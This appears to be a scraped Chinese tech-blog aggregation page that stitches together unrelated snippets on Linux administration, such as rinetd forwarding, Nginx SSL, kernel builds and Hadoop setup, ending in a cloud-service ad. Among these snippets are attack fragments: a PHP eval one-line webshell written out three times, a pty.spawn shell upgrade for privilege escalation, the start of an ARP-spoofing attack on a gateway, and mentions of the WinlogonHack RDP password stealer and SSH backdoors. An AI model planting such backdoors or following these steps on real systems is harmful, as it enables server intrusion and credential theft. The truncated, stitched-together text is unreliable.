概述 不怕出问题，就怕出问题找不到原因 运维团队一般会有个需求就是记录运维或者开发同事在服务器上的操作记录，比如进行一些常规审核或者是服务器被黑了、服务器日志被删的情况需要知道发生过什么事情，今天和大家分享下我们现在的服务器的shell和mysql操作日志记录的DIY方案。 团队内部之前有测试过一些堡垒机硬件，但终端操作方面不够人性化，不够灵活，而且价格昂贵，硬件容易形成单点故障。当然也接触过一些开源的方案，比如可以直接用ttyrec对终端进行录制，并且支持文本匹配，但是在实际使用中发现过严重bug，
https://www.cwiki.us/display/CWIKIKB/questions/62620071
有小伙伴问，如何解决CVE-2021-41617漏洞漏洞？增加我Linux服务器的安全性：
官网：http://www.boutell.com/rinetd/ 下载地址：http://www.boutell.com/rinetd/http/rinetd.tar.gz 编译安装： 对于Windows，包rinetd.tar.gz已包含了编译好的可执行程序文件rinetd.exe，也可以使用VC（如VC6.0）去重新编译。 对于Linux，只需要将包rinetd.tar.gz解压，然后执行make命令即可，它的Makefile文件其实十二分地简单（也就2个源码文件）： CFLAGS=-DLINUX -g rinetd: rinetd.o match.o gcc rinetd.o match.o -o rinetd install: rinetd install -m 700 rinetd /usr/sbin install -m 644 rinetd.8 /usr/man/man8 执行make install即安装好，从Makefile即可看出，安装到了目录/usr/sbin。 启动rinetd，会报需要/etc/rinetd.conf文件，使用vi编辑一个即可，文件格式为： “监听服务IP地址 监听服务端口号 目标服务IP地址 目标服务端口号” 假设有三台机器： A 客户端机器 B rinet中转机器（IP为127.0.0.1，服务端口号设置为6789） C 目标服务器（IP为192.168.0.1，服务端口号为22） 现在A要访问C机器，但A和C之间网络并不通，但是A和B网络通，且B和C网络通（在实际中，通常B是带外网和内网两个IP的机器）。这个时候将/etc/rinetd.conf配置成： 127.0.0.1 6789 192.168.0.1 22 这样A访问127.0.0.1:6789时，实际访问的是192.168.0.1:22，B在这里做了中转代理。 为了体验rinetd的中转功能，A、B、C三台机器实际上可以为同一台机器，比如可以拿sshd等来做目标服务，可以观察到A就好象直接和C连接一样。 相关的工具： iptables、ssh、nginx、apache等。
OpenSSH是SSH（Secure Shell）协议的免费开源实现。很多人误认为OpenSSH与OpenSSL有关联，但实际上这两个计划有不同的目的和不同的发展团队，名称相近只是因为两者有同样的发展目标──提供开放源代码的加密通信软件。
Nginx配置ssl目录概要 vim /usr/local/nginx/conf/vhost/ssl.conf//加入如下内容 server { listen 443; server_name aming.com; index index.html index.php; root /data/wwwroot/aming.com; ssl on; ssl_certificate aminglinux.crt; ssl_certificate_key am
以 ssh 为例，每当有 ssh 的连接请求时，tcpd（Tcp Wrapper的守护进程）即会截获请求， 当请求满足配置文件中的规则，则放行，否则中断连接，配置文件中可设置匹配规则后执行命令
Aid Learning FrameWork是一个在Android手机上运行的带图形界面的Linux系统，用于AI编程。这意味着当它安装时，你的Android手机拥有一个可以在其中运行AI程序的Linux系统。现在我们有力地支持Caffe，Tensorflow，Mxnet，ncnn，Keras，cv2，Git / SSH这些框架。此外，我们提供了一个名为Aid_code的AI编码开发工具。它可以通过在我们的框架上使用Python来为您提供可视化的AI编程体验！
Linux 是一个开放式系统，可以在网络上找到许多现成的程序和工具，这既方便了用户，也方便了黑.客，因为他们也能很容易地找到程序和工具来潜入 Linux 系统，或者盗取 Linux 系统上的重要信息。不过，只要我们仔细地设定 Linux 的各种系统功能，并且加上必要的安全措施，就能让黑.客们无机可乘。一般来说，对 Linux 系统的安全设定包括取消不必要的服务、限制远程存取、隐藏重要资料、修补安全漏.洞、采用安全工具以及经常性的安全检查等。 说明:以下安全级别表示建议的可操作的级别,星星越多,可操作性越高,建议级别越高
在 CentOS 7（和 RedHat/Oracle/Scientific Linux 7）上，下面的命令也会在系统防火墙中打开 HTTP、HTTPS 和 SSH 访问。这是一个可选步骤，如果您打算仅从本地网络访问 GitLab，则可以跳过它。
写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time.
下面开始欺骗，由于是服务器端，因此我们欺骗网关：（网络环境如下，邮件服务器ip：192.168.0.11 网关：192.168.0.1 本机：192.168.0.77）
写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "<?php @eval(\$_POST[md5])?>" >rankuplog_time
请点击此处输入图片描述 写个php一句话后门上去： [jobcruit@wa64-054 rankup_log]$ echo -e "" >rankuplog_time.php [jobcruit@wa64-054 rankup_log]$ cat rankuplog_time.php 1、linux的想着先跨站 shell浏览目标站不行，命令行下输入： ls -la /www.users/ 2、溢出提权 # python –c ‘impotr pty;pty.spawn(“/bin/sh”); 来得到
本篇文章主要讲解嵌入式板卡中Linux系统是如何正确测试、使用的，其中内容包含有U-Boot编译、U-Boot命令和环境变量说明、Linux内核编译、xtra驱动编译、系统信息查询、程序开机自启动说明、NFS使用说明、TFTP使用说明、TFTP + NFS的系统启动测试说明、inux设备驱动说明等，其中案例源码部分公开。
wget http://www.kernel.org/pub/linux/kernel/v3.0/linux-3.0.tar.bz2
Halcon 的 Hdevelop 可以快速编写算子开发图像处理算法，本文记录将 Hdevelop 代码导出到 C++ 应用程序的方法。 背景 正确安装 Halcon 我的版本是 20.11 下载链接：https://www.mvtec.com/cn/downloads/halcon 本文内容自官方教学视频整理扩展而来 正确安装、配置例程代码、系统变量 Halcon 导出到 C++ 在 Halcon 中调试和开发图像处理算法更加便利快捷 开发完成的项目可以以工程或代码形式导出，导出后可以直接供
数人云上海&深圳两地“容器之Mesos/K8S/Swarm三国演义”的嘉宾精彩实录第四弹！小数已经被接连不断的干货搞晕了，沉浸技术的海洋好幸福~Windows container在国内的实践还比较少，携程作为.Net大户，率先进行了调研和实践应用，将其中的成果与大家分享。
本文涉及rpm源码包下载地址：http://mirrors.163.com/centos/6/os/x86_64/Packages
前面，张戈博客在折腾 Nginx 的 SSL 优化时，注意到前人在 Nginx 的 listen 配置中，添加了 fastopen=3 reuseport 这 2 个参数。 于是脑补了下，原来是启用
Note： 更改ssh相关配置后需要重启sshd服务 systemctl restart sshd
macOS延续自BSD Unix, Linux则是从内核开始重新编写但延续Unix使用方式的Unix。所以mac还有linux程序员，一般都算是*nix程序员，尽管其中还有不少的区别。 Windows从版本10开始做出的最大改变，可能就是内置的linux子系统，原本的安装方式很简单，网上很多介绍，一般就是三步：1.设置中打开开发人员模式；2.windows组件中安装linux子系统；3.在DOS窗口中执行bash,随后经历一场漫长而令人期待的安装。 后来这个办法不灵了，因为虽然win10几乎马不停蹄的更
之前学习了利用KGDB双机调试内核,这种方式需要在两个主机上，通过串口线进行连接，或者是通过VMware开启两个虚拟机进行调试，对机器要求相对高一些。通过qemu创建虚拟机，然后利用gdb进行调试相对更轻量级一点。 我先在centos7下面配置调试环境，但是centos7下没有qemu_system_x86等命令，所以需要重新编译qemu源码再进行安装，再加上各种依赖问题，于是转用ubuntu进行配置，过程简单了许多。
平台:Ubuntu32位虚拟机 目标平台:海思Hi3559V100 工欲善其事必先利其器，在进行嵌入式linux开发的时候需要搭建一个能够调试的环境，在电脑上无疑是最好最方便的了。至于虚拟机怎么搭建就不多说了，这里我用的32位的Ubuntu16.04主要是方便编译之前文章中自己写的OS 首先安装aarch64-linux-gnu工具链
将tcmalloc作为动态库使用，非常方便，网上有很多资料介绍了。tcmalloc.a也可以以静态链接的方式加入应用程序中，大概因为使用太方便，网上关于这方面的介绍都是一笔带过，但是如果要在动态 库(so)中静态编译tcmalloc,却是有所不同的。 我的项目中有一个so动态库，需要在java中通过jni调用，因为涉及频繁的内存分配操作所以这个so希望用tcmalloc管理内存池以提高系统运行效率，如果使用以动态库方式使用tcmalloc。那么在应用服务器(tomcat)启动的时候，需要先设置LD_PRELOAD参数指向tcmalloc.so，然后执行startup.sh启动tomcat。这样以来，不仅是我的so库，整java程序在运行过程中的所有向操作系统申请释放内存的过程都交给了tcmalloc管理了，其实挺好的。使用这种方案，我的so库代码不需要在编译时链接tcmalloc,什么都不用改变，就能使用tcmalloc。 但是凡事有利就有弊，这个方案带的成本就是在系统安装、维护时稍显复杂：需要在服务器上安装tcmalloc和libunwind(应用系统运行在64位操作系统下)，还可能需要修改tomcat启动脚本以加入LD_PRELOAD参数，对工程实施人员的要求比较高。
本文为作者原创，转载请注明出处：https://www.cnblogs.com/leisure_chn/p/11903758.html
以下将介绍以下开发完MapReduce程序后，提交运行的几个模式。 本地模型运行 在windows的eclipse里面直接运行main方法，就会将job提交给本地执行器localjobrunner执行 ----输入输出数据可以放在本地路径下（c:/wc/srcdata/） ----输入输出数据也可以放在hdfs中(hdfs://itunic:9000/wc/srcdata) 在linux的eclipse里面直接运行main方法，但是不要添加yarn相关的配置，也会提交给localjobrunner执行
继上次的翻车之后，我算是有了些经验，同时机器上也装了些共通的依赖库，由于上项目最后的错误解决不了就放那里了，开始搞一下这个项目，这和上一个项目的目的是一样的，都是借助GPU进行加速计算的可视化工具，但此项目是用netbeans开发的，在文件结构上要比上一个复杂的多，而且采用的是CMakeList.txt的方式，应该算比较正式的C++项目了吧。
上一篇《大数据最火的Spark你确定不来了解一下吗？（1）》给大家详细介绍了Spark，下面教给大家怎样去搭建Spark的环境.
设置新的Web服务器时最常见的需求之一是发送电子邮件。最安全，最简单的方法是将服务器连接到SendGrid或Amazon SES等邮件服务。使用外部服务将帮助您避免陷阱，例如您的服务器IP被反垃圾邮件服务列入黑名单。
yum install libffi-devel -y 这一步必不可少，否则ansible --version 会报ERROR: No module named '_ctypes'
1：在windows的eclipse里面直接运行main方法，就会将job提交给本地执行器localjobrunner执行
当我们使用Ptrace方式跟踪一个进程时，目标进程会记录自己被谁跟踪，可以查看/proc/pid/status看到这个信息，下图展示的是使用ida进行调试的情况。
通过：cat /etc/issue 查看当前系统版本： Ubuntu 12.04.3
在CentOS7上默认安装的是python2.7版本，而使用yum install python34安装的是3.4版本，这个版本在安装一些软件包如pip的时候会提示：
python安装完毕后，提示找不到ssl模块： www@pythontab.com ~]$ python Python 2.7.15 (default, Oct 23 2018, 18:08:43) [GCC 4.4.7 20120313 (Red Hat 4.4.7-23)] on linux2 Type "help", "copyright", "credits" or "license" for more information. >>> import ssl Traceback (most rec
对于UNIX系统来说，ssh服务端作为最广泛应用的远程管理服务并且有一定对外开放的必然性，必然引起黑客关注，所以ssh类的后门也是unix下最经典的后门方式之一了。作为渗透基础知识，逢魔安全团队在本文
最近有同学问我：为什么你的《从0写x86 Linux操作系统课程》选择了bochs，而不是qemu？他认为bochs更加好用，很多资料上都写了用该软件。其实我也是经过不断地对比和尝试后，选择使用qemu。
1.用记事本打开/usr/src/linux-2.4.22/kernel/sys.c,查看并进行修改如图4-1至图4-3.
WinlogonHack 是一款用来劫取远程3389登录密码的工具，在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码，WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server
Linux lnnkee 4.9.0-8-amd64 #1 SMP Debian 4.9.130-2 (2018-10-27) x86_64 GNU/Linux
在一台系统环境较好的linux机器上可以很容易的安装caffe，但是如果系统本身很旧，又没有GPU的话，安装就太麻烦了，所有都得从头做起，本文档旨在尽可能覆盖安装所要采的坑 步骤 01 caffe是主要是C/C++和python编写的。首先，得需要将gcc，g++安装好，通过yum安装就可以。 02 cuda的安装，如果机器上配置了NVIDIA系列GPU，则需要安装该驱动，推荐安装该驱动至7.0版本，推荐同时安装cuDNN。安装可以参考http://blog.csdn.net/xuanyuansen/art
我们Hadoop 2.4集群默认不支持snappy压缩，但是最近有业务方说他们的部分数据是snappy压缩的（这部分数据由另外一个集群提供给他们时就是snappy压缩格式的）想迁移到到我们集群上面来进行计算，但是直接运行时报错：
不知道大家有没有这样的经历，当我们利用makefile进行编译时，你有没有遇到过这样的情形：
一个工程中的源文件不计数，其按类型、功能、模块分别放在若干个目录中，makefile定义了一系列的规则来指定，哪些文件需要先编译，哪些文件需要后编译，哪些文件需要重新编译，甚至于进行更复杂的功能操作
本文适用于CentOS 6.4, CentOS 6.5，估计也适用于其他Linux发行版。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
实时音视频
对象存储
即时通信 IM
